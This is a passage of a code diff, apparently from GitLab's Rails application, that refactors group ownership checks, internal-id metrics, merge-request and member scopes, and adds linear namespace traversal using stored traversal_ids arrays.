has_many :dependency_proxy_blobs, class_name: 'DependencyProxy::Blob'
@@ -84,7 +86,7 @@ class Group < Namespace
validate :visibility_level_allowed_by_sub_groups
validate :visibility_level_allowed_by_parent
validate :two_factor_authentication_allowed
- validates :variables, nested_attributes_duplicates: true
+ validates :variables, nested_attributes_duplicates: { scope: :environment_scope }
validates :two_factor_grace_period, presence: true, numericality: { greater_than_or_equal_to: 0 }
@@ -178,6 +180,25 @@ class Group < Namespace
groups.drop(1).each { |group| group.root_ancestor = root }
end
+ # Returns the ids of the passed group models where the `emails_disabled`
+ # column is set to true anywhere in the ancestor hierarchy.
+ def ids_with_disabled_email(groups)
+ innner_query = Gitlab::ObjectHierarchy
+ .new(Group.where('id = namespaces_with_emails_disabled.id'))
+ .base_and_ancestors
+ .where(emails_disabled: true)
+ .select('1')
+ .limit(1)
+
+ group_ids = Namespace
+ .from('(SELECT * FROM namespaces) as namespaces_with_emails_disabled')
+ .where(namespaces_with_emails_disabled: { id: groups })
+ .where('EXISTS (?)', innner_query)
+ .pluck(:id)
+
+ Set.new(group_ids)
+ end
+
private
def public_to_user_arel(user)
@@ -325,6 +346,10 @@ class Group < Namespace
members_with_parents.owners.exists?(user_id: user)
end
+ def blocked_owners
+ members.blocked.where(access_level: Gitlab::Access::OWNER)
+ end
+
def has_maintainer?(user)
return false unless user
@@ -337,14 +362,29 @@ class Group < Namespace
# Check if user is a last owner of the group.
def last_owner?(user)
- has_owner?(user) && members_with_parents.owners.size == 1
+ has_owner?(user) && single_owner?
+ end
+
+ def member_last_owner?(member)
+ return member.last_owner unless member.last_owner.nil?
+
+ last_owner?(member.user)
+ end
+
+ def single_owner?
+ members_with_parents.owners.size == 1
end
- def last_blocked_owner?(user)
+ def single_blocked_owner?
+ blocked_owners.size == 1
+ end
+
+ def member_last_blocked_owner?(member)
+ return member.last_blocked_owner unless member.last_blocked_owner.nil?
+
return false if members_with_parents.owners.any?
- blocked_owners = members.blocked.where(access_level: Gitlab::Access::OWNER)
- blocked_owners.size == 1 && blocked_owners.exists?(user_id: user)
+ single_blocked_owner? && blocked_owners.exists?(user_id: member.user)
end
def ldap_synced?
@@ -784,13 +824,11 @@ class Group < Namespace
variables = Ci::GroupVariable.where(group: list_of_ids)
variables = variables.unprotected unless project.protected_for?(ref)
- if Feature.enabled?(:scoped_group_variables, self, default_enabled: :yaml)
- variables = if environment
- variables.on_environment(environment)
- else
- variables.where(environment_scope: '*')
- end
- end
+ variables = if environment
+ variables.on_environment(environment)
+ else
+ variables.where(environment_scope: '*')
+ end
variables = variables.group_by(&:group_id)
list_of_ids.reverse.flat_map { |group| variables[group.id] }.compact
diff --git a/app/models/internal_id.rb b/app/models/internal_id.rb
index c735e593da7..b56bac58705 100644
--- a/app/models/internal_id.rb
+++ b/app/models/internal_id.rb
@@ -47,18 +47,10 @@ class InternalId < ApplicationRecord
def update_and_save(&block)
lock!
yield
- update_and_save_counter.increment(usage: usage, changed: last_value_changed?)
save!
last_value
end
- # Instrumentation to track for-update locks
- def update_and_save_counter
- strong_memoize(:update_and_save_counter) do
- Gitlab::Metrics.counter(:gitlab_internal_id_for_update_lock, 'Number of ROW SHARE (FOR UPDATE) locks on individual records from internal_ids')
- end
- end
-
class << self
def track_greatest(subject, scope, usage, new_value, init)
InternalIdGenerator.new(subject, scope, usage, init)
@@ -88,6 +80,8 @@ class InternalId < ApplicationRecord
end
class InternalIdGenerator
+ extend Gitlab::Utils::StrongMemoize
+
# Generate next internal id for a given scope and usage.
#
# For currently supported usages, see #usage enum.
@@ -123,6 +117,8 @@ class InternalId < ApplicationRecord
# init: Block that gets called to initialize InternalId record if not present
# Make sure to not throw exceptions in the absence of records (if this is expected).
def generate
+ self.class.internal_id_transactions_increment(operation: :generate, usage: usage)
+
subject.transaction do
# Create a record in internal_ids if one does not yet exist
# and increment its last value
@@ -138,6 +134,8 @@ class InternalId < ApplicationRecord
def reset(value)
return false unless value
+ self.class.internal_id_transactions_increment(operation: :reset, usage: usage)
+
updated =
InternalId
.where(**scope, usage: usage_value)
@@ -152,6 +150,8 @@ class InternalId < ApplicationRecord
#
# Note this will acquire a ROW SHARE lock on the InternalId record
def track_greatest(new_value)
+ self.class.internal_id_transactions_increment(operation: :track_greatest, usage: usage)
+
subject.transaction do
record.track_greatest_and_save!(new_value)
end
@@ -162,6 +162,8 @@ class InternalId < ApplicationRecord
end
def with_lock(&block)
+ self.class.internal_id_transactions_increment(operation: :with_lock, usage: usage)
+
record.with_lock(&block)
end
@@ -197,5 +199,22 @@ class InternalId < ApplicationRecord
rescue ActiveRecord::RecordNotUnique
lookup
end
+
+ def self.internal_id_transactions_increment(operation:, usage:)
+ self.internal_id_transactions_total.increment(
+ operation: operation,
+ usage: usage.to_s,
+ in_transaction: ActiveRecord::Base.connection.transaction_open?.to_s
+ )
+ end
+
+ def self.internal_id_transactions_total
+ strong_memoize(:internal_id_transactions_total) do
+ name = :gitlab_internal_id_transactions_total
+ comment = 'Counts all the internal ids happening within transaction'
+
+ Gitlab::Metrics.counter(name, comment)
+ end
+ end
end
end
diff --git a/app/models/issue.rb b/app/models/issue.rb
index 2f2d24cbe93..af78466e6a9 100644
--- a/app/models/issue.rb
+++ b/app/models/issue.rb
@@ -24,6 +24,8 @@ class Issue < ApplicationRecord
include Todoable
include FromUnion
+ extend ::Gitlab::Utils::Override
+
DueDateStruct = Struct.new(:title, :name).freeze
NoDueDate = DueDateStruct.new('No Due Date', '0').freeze
AnyDueDate = DueDateStruct.new('Any Due Date', '').freeze
@@ -88,7 +90,6 @@ class Issue < ApplicationRecord
test_case: 2 ## EE-only
}
- alias_attribute :parent_ids, :project_id
alias_method :issuing_parent, :project
alias_attribute :external_author, :service_desk_reply_to
@@ -113,8 +114,8 @@ class Issue < ApplicationRecord
scope :order_severity_desc, -> { includes(:issuable_severity).order('issuable_severities.severity DESC NULLS LAST') }
scope :preload_associated_models, -> { preload(:assignees, :labels, project: :namespace) }
- scope :with_web_entity_associations, -> { preload(:author, :project) }
- scope :with_api_entity_associations, -> { preload(:timelogs, :assignees, :author, :notes, :labels, project: [:route, { namespace: :route }] ) }
+ scope :with_web_entity_associations, -> { preload(:author, project: [:project_feature, :route, namespace: :route]) }
+ scope :preload_awardable, -> { preload(:award_emoji) }
scope :with_label_attributes, ->(label_attributes) { joins(:labels).where(labels: label_attributes) }
scope :with_alert_management_alerts, -> { joins(:alert_management_alert) }
scope :with_prometheus_alert_events, -> { joins(:issues_prometheus_alert_events) }
@@ -191,7 +192,8 @@ class Issue < ApplicationRecord
end
def self.relative_positioning_query_base(issue)
- in_projects(issue.parent_ids)
+ projects = issue.project.group&.root_ancestor&.all_projects || issue.project
+ in_projects(projects)
end
def self.relative_positioning_parent_column
@@ -342,6 +344,8 @@ class Issue < ApplicationRecord
.preload(preload)
.reorder('issue_link_id')
+ related_issues = yield related_issues if block_given?
+
cross_project_filter = -> (issues) { issues.where(project: project) }
Ability.issues_readable_by_user(related_issues,
current_user,
@@ -446,10 +450,20 @@ class Issue < ApplicationRecord
issue_email_participants.pluck(IssueEmailParticipant.arel_table[:email].lower)
end
+ def issue_assignee_user_ids
+ issue_assignees.pluck(:user_id)
+ end
+
private
+ # Ensure that the metrics association is safely created and respecting the unique constraint on issue_id
+ override :ensure_metrics
def ensure_metrics
- super
+ if !association(:metrics).loaded? || metrics.blank?
+ metrics_record = Issue::Metrics.safe_find_or_create_by(issue: self)
+ self.metrics = metrics_record
+ end
+
metrics.record!
end
diff --git a/app/models/key.rb b/app/models/key.rb
index 18fa8aaaa16..131416d1bee 100644
--- a/app/models/key.rb
+++ b/app/models/key.rb
@@ -43,6 +43,8 @@ class Key < ApplicationRecord
scope :preload_users, -> { preload(:user) }
scope :for_user, -> (user) { where(user: user) }
scope :order_last_used_at_desc, -> { reorder(::Gitlab::Database.nulls_last_order('last_used_at', 'DESC')) }
+ scope :expired_today_and_not_notified, -> { where(["date(expires_at AT TIME ZONE 'UTC') = CURRENT_DATE AND expiry_notification_delivered_at IS NULL"]) }
+ scope :expiring_soon_and_not_notified, -> { where(["date(expires_at AT TIME ZONE 'UTC') > CURRENT_DATE AND date(expires_at AT TIME ZONE 'UTC') < ? AND before_expiry_notification_delivered_at IS NULL", DAYS_TO_EXPIRE.days.from_now.to_date]) }
def self.regular_keys
where(type: ['Key', nil])
diff --git a/app/models/list.rb b/app/models/list.rb
index e1954ed72c4..d72afbaee69 100644
--- a/app/models/list.rb
+++ b/app/models/list.rb
@@ -14,7 +14,6 @@ class List < ApplicationRecord
validates :label_id, uniqueness: { scope: :board_id }, if: :label?
scope :preload_associated_models, -> { preload(:board, label: :priorities) }
- scope :without_types, ->(list_types) { where.not(list_type: list_types) }
alias_method :preferences, :list_user_preferences
diff --git a/app/models/member.rb b/app/models/member.rb
index 38574d67cb6..e978552592d 100644
--- a/app/models/member.rb
+++ b/app/models/member.rb
@@ -137,6 +137,12 @@ class Member < ApplicationRecord
scope :with_source_id, ->(source_id) { where(source_id: source_id) }
scope :including_source, -> { includes(:source) }
+ scope :distinct_on_user_with_max_access_level, -> do
+ distinct_members = select('DISTINCT ON (user_id, invite_email) *')
+ .order('user_id, invite_email, access_level DESC, expires_at DESC, created_at ASC')
+ Member.from(distinct_members, :members)
+ end
+
scope :order_name_asc, -> { left_join_users.reorder(Gitlab::Database.nulls_last_order('users.name', 'ASC')) }
scope :order_name_desc, -> { left_join_users.reorder(Gitlab::Database.nulls_last_order('users.name', 'DESC')) }
scope :order_recent_sign_in, -> { left_join_users.reorder(Gitlab::Database.nulls_last_order('users.last_sign_in_at', 'DESC')) }
@@ -278,10 +284,16 @@ class Member < ApplicationRecord
Gitlab::Access.sym_options
end
+ def valid_email?(email)
+ Devise.email_regexp.match?(email)
+ end
+
private
def parse_users_list(source, list)
- emails, user_ids, users = [], [], []
+ emails = []
+ user_ids = []
+ users = []
existing_members = {}
list.each do |item|
@@ -299,6 +311,7 @@ class Member < ApplicationRecord
if user_ids.present?
users.concat(User.where(id: user_ids))
+ # the below will automatically discard invalid user_ids
existing_members = source.members_and_requesters.where(user_id: user_ids).index_by(&:user_id)
end
diff --git a/app/models/members/group_member.rb b/app/models/members/group_member.rb
index c30f6dc81ee..0f9fdd230ff 100644
--- a/app/models/members/group_member.rb
+++ b/app/models/members/group_member.rb
@@ -7,7 +7,7 @@ class GroupMember < Member
SOURCE_TYPE = 'Namespace'
belongs_to :group, foreign_key: 'source_id'
-
+ alias_attribute :namespace_id, :source_id
delegate :update_two_factor_requirement, to: :user
# Make sure group member points only to group as it source
@@ -26,6 +26,8 @@ class GroupMember < Member
after_create :update_two_factor_requirement, unless: :invite?
after_destroy :update_two_factor_requirement, unless: :invite?
+ attr_accessor :last_owner, :last_blocked_owner
+
def self.access_level_roles
Gitlab::Access.options_with_owner
end
diff --git a/app/models/members/last_group_owner_assigner.rb b/app/models/members/last_group_owner_assigner.rb
new file mode 100644
index 00000000000..64decb1df36
--- /dev/null
+++ b/app/models/members/last_group_owner_assigner.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Members
+ class LastGroupOwnerAssigner
+ def initialize(group, members)
+ @group = group
+ @members = members
+ end
+
+ def execute
+ @last_blocked_owner = no_owners_in_heirarchy? && group.single_blocked_owner?
+ @group_single_owner = owners.size == 1
+
+ members.each { |member| set_last_owner(member) }
+ end
+
+ private
+
+ attr_reader :group, :members, :last_blocked_owner, :group_single_owner
+
+ def no_owners_in_heirarchy?
+ owners.empty?
+ end
+
+ def set_last_owner(member)
+ member.last_owner = member.id.in?(owner_ids) && group_single_owner
+ member.last_blocked_owner = member.id.in?(blocked_owner_ids) && last_blocked_owner
+ end
+
+ def owner_ids
+ @owner_ids ||= owners.where(id: member_ids).ids
+ end
+
+ def blocked_owner_ids
+ @blocked_owner_ids ||= group.blocked_owners.where(id: member_ids).ids
+ end
+
+ def member_ids
+ @members_ids ||= members.pluck(:id)
+ end
+
+ def owners
+ @owners ||= group.members_with_parents.owners.load
+ end
+ end
+end
diff --git a/app/models/members/project_member.rb b/app/models/members/project_member.rb
index 833b27756ab..9a86b3a3fd9 100644
--- a/app/models/members/project_member.rb
+++ b/app/models/members/project_member.rb
@@ -5,6 +5,8 @@ class ProjectMember < Member
belongs_to :project, foreign_key: 'source_id'
+ delegate :namespace_id, to: :project
+
# Make sure project member points only to project as it source
default_value_for :source_type, SOURCE_TYPE
validates :source_type, format: { with: /\AProject\z/ }
diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb
index 7efdd79ae1c..e7f3762b9a3 100644
--- a/app/models/merge_request.rb
+++ b/app/models/merge_request.rb
@@ -37,7 +37,7 @@ class MergeRequest < ApplicationRecord
SORTING_PREFERENCE_FIELD = :merge_requests_sort
ALLOWED_TO_USE_MERGE_BASE_PIPELINE_FOR_COMPARISON = {
- 'Ci::CompareCodequalityReportsService' => ->(project) { ::Gitlab::Ci::Features.display_codequality_backend_comparison?(project) }
+ 'Ci::CompareCodequalityReportsService' => ->(project) { true }
}.freeze
belongs_to :target_project, class_name: "Project"
@@ -276,6 +276,9 @@ class MergeRequest < ApplicationRecord
scope :by_squash_commit_sha, -> (sha) do
where(squash_commit_sha: sha)
end
+ scope :by_merge_or_squash_commit_sha, -> (sha) do
+ from_union([by_squash_commit_sha(sha), by_merge_commit_sha(sha)])
+ end
scope :by_related_commit_sha, -> (sha) do
from_union(
[
@@ -285,14 +288,20 @@ class MergeRequest < ApplicationRecord
]
)
end
- scope :by_cherry_pick_sha, -> (sha) do
- joins(:notes).where(notes: { commit_id: sha })
- end
scope :join_project, -> { joins(:target_project) }
- scope :join_metrics, -> do
+ scope :join_metrics, -> (target_project_id = nil) do
+ # Do not join the relation twice
+ return self if self.arel.join_sources.any? { |join| join.left.try(:name).eql?(MergeRequest::Metrics.table_name) }
+
query = joins(:metrics)
- query = query.where(MergeRequest.arel_table[:target_project_id].eq(MergeRequest::Metrics.arel_table[:target_project_id]))
- query
+
+ project_condition = if target_project_id
+ MergeRequest::Metrics.arel_table[:target_project_id].eq(target_project_id)
+ else
+ MergeRequest.arel_table[:target_project_id].eq(MergeRequest::Metrics.arel_table[:target_project_id])
+ end
+
+ query.where(project_condition)
end
scope :references_project, -> { references(:target_project) }
scope :with_api_entity_associations, -> {
@@ -304,6 +313,7 @@ class MergeRequest < ApplicationRecord
}
scope :with_csv_entity_associations, -> { preload(:assignees, :approved_by_users, :author, :milestone, metrics: [:merged_by]) }
+ scope :with_jira_integration_associations, -> { preload_routables.preload(:metrics, :assignees, :author) }
scope :by_target_branch_wildcard, ->(wildcard_branch_name) do
where("target_branch LIKE ?", ApplicationRecord.sanitize_sql_like(wildcard_branch_name).tr('*', '%'))
@@ -346,7 +356,9 @@ class MergeRequest < ApplicationRecord
scope :preload_metrics, -> (relation) { preload(metrics: relation) }
scope :preload_project_and_latest_diff, -> { preload(:source_project, :latest_merge_request_diff) }
scope :preload_latest_diff_commit, -> { preload(latest_merge_request_diff: :merge_request_diff_commits) }
- scope :with_web_entity_associations, -> { preload(:author, :target_project) }
+ scope :preload_milestoneish_associations, -> { preload_routables.preload(:assignees, :labels) }
+
+ scope :with_web_entity_associations, -> { preload(:author, target_project: [:project_feature, group: [:route, :parent], namespace: :route]) }
scope :with_auto_merge_enabled, -> do
with_state(:opened).where(auto_merge_enabled: true)
@@ -1302,11 +1314,8 @@ class MergeRequest < ApplicationRecord
message.join("\n\n")
end
- # Returns the oldest multi-line commit message, or the MR title if none found
def default_squash_commit_message
- strong_memoize(:default_squash_commit_message) do
- first_multiline_commit&.safe_message || title
- end
+ title
end
# Returns the oldest multi-line commit
@@ -1358,11 +1367,11 @@ class MergeRequest < ApplicationRecord
def environments_for(current_user, latest: false)
return [] unless diff_head_commit
- envs = EnvironmentsFinder.new(target_project, current_user,
+ envs = EnvironmentsByDeploymentsFinder.new(target_project, current_user,
ref: target_branch, commit: diff_head_commit, with_tags: true, find_latest: latest).execute
if source_project
- envs.concat EnvironmentsFinder.new(source_project, current_user,
+ envs.concat EnvironmentsByDeploymentsFinder.new(source_project, current_user,
ref: source_branch, commit: diff_head_commit, find_latest: latest).execute
end
@@ -1555,8 +1564,6 @@ class MergeRequest < ApplicationRecord
end
def has_codequality_reports?
- return false unless ::Gitlab::Ci::Features.display_codequality_backend_comparison?(project)
-
actual_head_pipeline&.has_reports?(Ci::JobArtifact.codequality_reports)
end
diff --git a/app/models/milestone.rb b/app/models/milestone.rb
index aa4ddfede99..4cf0e423a15 100644
--- a/app/models/milestone.rb
+++ b/app/models/milestone.rb
@@ -89,6 +89,10 @@ class Milestone < ApplicationRecord
.order(:project_id, :group_id, :due_date).select('DISTINCT ON (project_id, group_id) id')
end
+ def self.with_web_entity_associations
+ preload(:group, project: [:project_feature, group: [:parent], namespace: :route])
+ end
+
def participants
User.joins(assigned_issues: :milestone).where("milestones.id = ?", id).distinct
end
diff --git a/app/models/namespace.rb b/app/models/namespace.rb
index 3f7ccdb977e..455429608b4 100644
--- a/app/models/namespace.rb
+++ b/app/models/namespace.rb
@@ -13,6 +13,9 @@ class Namespace < ApplicationRecord
include Gitlab::Utils::StrongMemoize
include IgnorableColumns
include Namespaces::Traversal::Recursive
+ include Namespaces::Traversal::Linear
+
+ ignore_column :delayed_project_removal, remove_with: '14.1', remove_after: '2021-05-22'
# Prevent users from creating unreasonably deep level of nesting.
# The number 20 was taken based on maximum nesting level of
@@ -43,6 +46,9 @@ class Namespace < ApplicationRecord
has_one :aggregation_schedule, class_name: 'Namespace::AggregationSchedule'
has_one :package_setting_relation, inverse_of: :namespace, class_name: 'PackageSetting'
+ has_one :admin_note, inverse_of: :namespace
+ accepts_nested_attributes_for :admin_note, update_only: true
+
validates :owner, presence: true, unless: ->(n) { n.type == "Group" }
validates :name,
presence: true,
@@ -83,11 +89,11 @@ class Namespace < ApplicationRecord
before_destroy(prepend: true) { prepare_for_destroy }
after_destroy :rm_dir
- before_save :ensure_delayed_project_removal_assigned_to_namespace_settings, if: :delayed_project_removal_changed?
-
scope :for_user, -> { where('type IS NULL') }
scope :sort_by_type, -> { order(Gitlab::Database.nulls_first_order(:type)) }
scope :include_route, -> { includes(:route) }
+ scope :by_parent, -> (parent) { where(parent_id: parent) }
+ scope :filter_by_path, -> (query) { where('lower(path) = :query', query: query.downcase) }
scope :with_statistics, -> do
joins('LEFT JOIN project_statistics ps ON ps.namespace_id = namespaces.id')
@@ -107,7 +113,7 @@ class Namespace < ApplicationRecord
# Make sure that the name is same as strong_memoize name in root_ancestor
# method
- attr_writer :root_ancestor
+ attr_writer :root_ancestor, :emails_disabled_memoized
class << self
def by_path(path)
@@ -235,7 +241,7 @@ class Namespace < ApplicationRecord
# any ancestor can disable emails for all descendants
def emails_disabled?
- strong_memoize(:emails_disabled) do
+ strong_memoize(:emails_disabled_memoized) do
if parent_id
self_and_ancestors.where(emails_disabled: true).exists?
else
@@ -260,13 +266,8 @@ class Namespace < ApplicationRecord
# Includes projects from this namespace and projects from all subgroups
# that belongs to this namespace
def all_projects
- return Project.where(namespace: self) if user?
-
- if Feature.enabled?(:recursive_namespace_lookup_as_inner_join, self)
- Project.joins("INNER JOIN (#{self_and_descendants.select(:id).to_sql}) namespaces ON namespaces.id=projects.namespace_id")
- else
- Project.where(namespace: self_and_descendants)
- end
+ namespace = user? ? self : self_and_descendants
+ Project.where(namespace: namespace)
end
# Includes pipelines from this namespace and pipelines from all subgroups
@@ -288,8 +289,13 @@ class Namespace < ApplicationRecord
false
end
+ # Deprecated, use #licensed_feature_available? instead. Remove once Namespace#feature_available? isn't used anymore.
+ def feature_available?(feature)
+ licensed_feature_available?(feature)
+ end
+
# Overridden in EE::Namespace
- def feature_available?(_feature)
+ def licensed_feature_available?(_feature)
false
end
@@ -347,6 +353,10 @@ class Namespace < ApplicationRecord
Plan.default
end
+ def paid?
+ root? && actual_plan.paid?
+ end
+
def actual_limits
# We default to PlanLimits.new otherwise a lot of specs would fail
# On production each plan should already have associated limits record
@@ -412,13 +422,6 @@ class Namespace < ApplicationRecord
private
- def ensure_delayed_project_removal_assigned_to_namespace_settings
- return if Feature.disabled?(:migrate_delayed_project_removal, default_enabled: true)
-
- self.namespace_settings || build_namespace_settings
- namespace_settings.delayed_project_removal = delayed_project_removal
- end
-
def all_projects_with_pages
if all_projects.pages_metadata_not_migrated.exists?
Gitlab::BackgroundMigration::MigratePagesMetadata.new.perform_on_relation(
diff --git a/app/models/namespace/admin_note.rb b/app/models/namespace/admin_note.rb
new file mode 100644
index 00000000000..3de809d60be
--- /dev/null
+++ b/app/models/namespace/admin_note.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Namespace::AdminNote < ApplicationRecord
+ belongs_to :namespace, inverse_of: :admin_note
+ validates :namespace, presence: true
+ validates :note, length: { maximum: 1000 }
+end
diff --git a/app/models/namespace/traversal_hierarchy.rb b/app/models/namespace/traversal_hierarchy.rb
index cfb6cfdde74..28cf55f7486 100644
--- a/app/models/namespace/traversal_hierarchy.rb
+++ b/app/models/namespace/traversal_hierarchy.rb
@@ -34,17 +34,20 @@ class Namespace
sql = """
UPDATE namespaces
SET traversal_ids = cte.traversal_ids
- FROM (#{recursive_traversal_ids}) as cte
+ FROM (#{recursive_traversal_ids(lock: true)}) as cte
WHERE namespaces.id = cte.id
AND namespaces.traversal_ids <> cte.traversal_ids
"""
Namespace.connection.exec_query(sql)
+ rescue ActiveRecord::Deadlocked
+ db_deadlock_counter.increment(source: 'Namespace#sync_traversal_ids!')
+ raise
end
# Identify all incorrect traversal_ids in the current namespace hierarchy.
- def incorrect_traversal_ids
+ def incorrect_traversal_ids(lock: false)
Namespace
- .joins("INNER JOIN (#{recursive_traversal_ids}) as cte ON namespaces.id = cte.id")
+ .joins("INNER JOIN (#{recursive_traversal_ids(lock: lock)}) as cte ON namespaces.id = cte.id")
.where('namespaces.traversal_ids <> cte.traversal_ids')
end
@@ -55,10 +58,13 @@ class Namespace
#
# Note that the traversal_ids represent a calculated traversal path for the
# namespace and not the value stored within the traversal_ids attribute.
- def recursive_traversal_ids
+ #
+ # Optionally locked with FOR UPDATE to ensure isolation between concurrent
+ # updates of the heirarchy.
+ def recursive_traversal_ids(lock: false)
root_id = Integer(@root.id)
- """
+ sql = <<~SQL
WITH RECURSIVE cte(id, traversal_ids, cycle) AS (
VALUES(#{root_id}, ARRAY[#{root_id}], false)
UNION ALL
@@ -67,7 +73,11 @@ class Namespace
WHERE n.parent_id = cte.id AND NOT cycle
)
SELECT id, traversal_ids FROM cte
- """
+ SQL
+
+ sql += ' FOR UPDATE' if lock
+
+ sql
end
# This is essentially Namespace#root_ancestor which will soon be rewritten
@@ -80,5 +90,9 @@ class Namespace
.reorder(nil)
.find_by(parent_id: nil)
end
+
+ def db_deadlock_counter
+ Gitlab::Metrics.counter(:db_deadlock, 'Counts the times we have deadlocked in the database')
+ end
end
end
diff --git a/app/models/namespace_setting.rb b/app/models/namespace_setting.rb
index 50844403d7f..d21f9632e18 100644
--- a/app/models/namespace_setting.rb
+++ b/app/models/namespace_setting.rb
@@ -1,14 +1,20 @@
# frozen_string_literal: true
class NamespaceSetting < ApplicationRecord
+ include CascadingNamespaceSettingAttribute
+
+ cascading_attr :delayed_project_removal
+
belongs_to :namespace, inverse_of: :namespace_settings
validate :default_branch_name_content
validate :allow_mfa_for_group
+ validate :allow_resource_access_token_creation_for_group
before_validation :normalize_default_branch_name
- NAMESPACE_SETTINGS_PARAMS = [:default_branch_name].freeze
+ NAMESPACE_SETTINGS_PARAMS = [:default_branch_name, :delayed_project_removal,
+ :lock_delayed_project_removal, :resource_access_token_creation_allowed].freeze
self.primary_key = :namespace_id
@@ -31,6 +37,12 @@ class NamespaceSetting < ApplicationRecord
errors.add(:allow_mfa_for_subgroups, _('is not allowed since the group is not top-level group.'))
end
end
+
+ def allow_resource_access_token_creation_for_group
+ if namespace&.subgroup? && !resource_access_token_creation_allowed
+ errors.add(:resource_access_token_creation_allowed, _('is not allowed since the group is not top-level group.'))
+ end
+ end
end
NamespaceSetting.prepend_if_ee('EE::NamespaceSetting')
diff --git a/app/models/namespaces/traversal/linear.rb b/app/models/namespaces/traversal/linear.rb
new file mode 100644
index 00000000000..dd9ca8d9bea
--- /dev/null
+++ b/app/models/namespaces/traversal/linear.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+#
+# Query a recursively defined namespace hierarchy using linear methods through
+# the traversal_ids attribute.
+#
+# Namespace is a nested hierarchy of one parent to many children. A search
+# using only the parent-child relationships is a slow operation. This process
+# was previously optimized using Postgresql recursive common table expressions
+# (CTE) with acceptable performance. However, it lead to slower than possible
+# performance, and resulted in complicated queries that were difficult to make
+# performant.
+#
+# Instead of searching the hierarchy recursively, we store a `traversal_ids`
+# attribute on each node. The `traversal_ids` is an ordered array of Namespace
+# IDs that define the traversal path from the root Namespace to the current
+# Namespace.
+#
+# For example, suppose we have the following Namespaces:
+#
+# GitLab (id: 1) > Engineering (id: 2) > Manage (id: 3) > Access (id: 4)
+#
+# Then `traversal_ids` for group "Access" is [1, 2, 3, 4]
+#
+# And we can match against other Namespace `traversal_ids` such that:
+#
+# - Ancestors are [1], [1, 2], [1, 2, 3]
+# - Descendants are [1, 2, 3, 4, *]
+# - Root is [1]
+# - Hierarchy is [1, *]
+#
+# Note that this search method works so long as the IDs are unique and the
+# traversal path is ordered from root to leaf nodes.
+#
+# We implement this in the database using Postgresql arrays, indexed by a
+# generalized inverted index (gin).
+module Namespaces
+ module Traversal
+ module Linear
+ extend ActiveSupport::Concern
+
+ UnboundedSearch = Class.new(StandardError)
+
+ included do
+ after_create :sync_traversal_ids, if: -> { sync_traversal_ids? }
+ after_update :sync_traversal_ids, if: -> { sync_traversal_ids? && saved_change_to_parent_id? }
+
+ scope :traversal_ids_contains, ->(ids) { where("traversal_ids @> (?)", ids) }
+ end
+
+ def sync_traversal_ids?
+ Feature.enabled?(:sync_traversal_ids, root_ancestor, default_enabled: :yaml)
+ end
+
+ def use_traversal_ids?
+ Feature.enabled?(:use_traversal_ids, root_ancestor, default_enabled: :yaml)
+ end
+
+ def self_and_descendants
+ if use_traversal_ids?
+ lineage(self)
+ else
+ super
+ end
+ end
+
+ private
+
+ # Update the traversal_ids for the full hierarchy.
+ #
+ # NOTE: self.traversal_ids will be stale. Reload for a fresh record.
+ def sync_traversal_ids
+ # Clear any previously memoized root_ancestor as our ancestors have changed.
+ clear_memoization(:root_ancestor)
+
+ Namespace::TraversalHierarchy.for_namespace(root_ancestor).sync_traversal_ids!
+ end
+
+ # Make sure we drop the STI `type = 'Group'` condition for better performance.
+ # Logically equivalent so long as hierarchies remain homogeneous.
+ def without_sti_condition
+ self.class.unscope(where: :type)
+ end
+
+ # Search this namespace's lineage. Bound inclusively by top node.
+ def lineage(top)
+ raise UnboundedSearch.new('Must bound search by a top') unless top
+
+ without_sti_condition
+ .traversal_ids_contains("{#{top.id}}")
+ end
+ end
+ end
+end
diff --git a/app/models/namespaces/traversal/recursive.rb b/app/models/namespaces/traversal/recursive.rb
index d74b7883830..409438f53d2 100644
--- a/app/models/namespaces/traversal/recursive.rb
+++ b/app/models/namespaces/traversal/recursive.rb
@@ -6,10 +6,14 @@ module Namespaces
extend ActiveSupport::Concern
def root_ancestor
- return self if persisted? && parent_id.nil?
+ return self if parent.nil?
- strong_memoize(:root_ancestor) do
- self_and_ancestors.reorder(nil).find_by(parent_id: nil)
+ if persisted?
+ strong_memoize(:root_ancestor) do
+ self_and_ancestors.reorder(nil).find_by(parent_id: nil)
+ end
+ else
+ parent.root_ancestor
end
end
@@ -18,6 +22,7 @@ module Namespaces
object_hierarchy(self.class.where(id: id))
.all_objects
end
+ alias_method :recursive_self_and_hierarchy, :self_and_hierarchy
# Returns all the ancestors of the current namespaces.
def ancestors
@@ -26,6 +31,7 @@ module Namespaces
object_hierarchy(self.class.where(id: parent_id))
.base_and_ancestors
end
+ alias_method :recursive_ancestors, :ancestors
# returns all ancestors upto but excluding the given namespace
# when no namespace is given, all ancestors upto the top are returned
@@ -40,17 +46,20 @@ module Namespaces
object_hierarchy(self.class.where(id: id))
.base_and_ancestors(hierarchy_order: hierarchy_order)
end
+ alias_method :recursive_self_and_ancestors, :self_and_ancestors
# Returns all the descendants of the current namespace.
def descendants
object_hierarchy(self.class.where(parent_id: id))
.base_and_descendants
end
+ alias_method :recursive_descendants, :descendants
def self_and_descendants
object_hierarchy(self.class.where(id: id))
.base_and_descendants
end
+ alias_method :recursive_self_and_descendants, :self_and_descendants
def object_hierarchy(ancestors_base)
Gitlab::ObjectHierarchy.new(ancestors_base, options: { use_distinct: Feature.enabled?(:use_distinct_in_object_hierarchy, self) })
diff --git a/app/models/note.rb b/app/models/note.rb
index fb540d692d1..3e560a09fbd 100644
--- a/app/models/note.rb
+++ b/app/models/note.rb
@@ -19,6 +19,7 @@ class Note < ApplicationRecord
include Gitlab::SQL::Pattern
include ThrottledTouch
include FromUnion
+ include Sortable
cache_markdown_field :note, pipeline: :note, issuable_state_filter_enabled: true
@@ -103,12 +104,12 @@ class Note < ApplicationRecord
scope :system, -> { where(system: true) }
scope :user, -> { where(system: false) }
scope :common, -> { where(noteable_type: ["", nil]) }
- scope :fresh, -> { order(created_at: :asc, id: :asc) }
+ scope :fresh, -> { order_created_asc.with_order_id_asc }
scope :updated_after, ->(time) { where('updated_at > ?', time) }
scope :with_updated_at, ->(time) { where(updated_at: time) }
- scope :by_updated_at, -> { reorder(:updated_at, :id) }
scope :inc_author_project, -> { includes(:project, :author) }
scope :inc_author, -> { includes(:author) }
+ scope :with_api_entity_associations, -> { preload(:note_diff_file, :author) }
scope :inc_relations_for_view, -> do
includes(:project, { author: :status }, :updated_by, :resolved_by, :award_emoji,
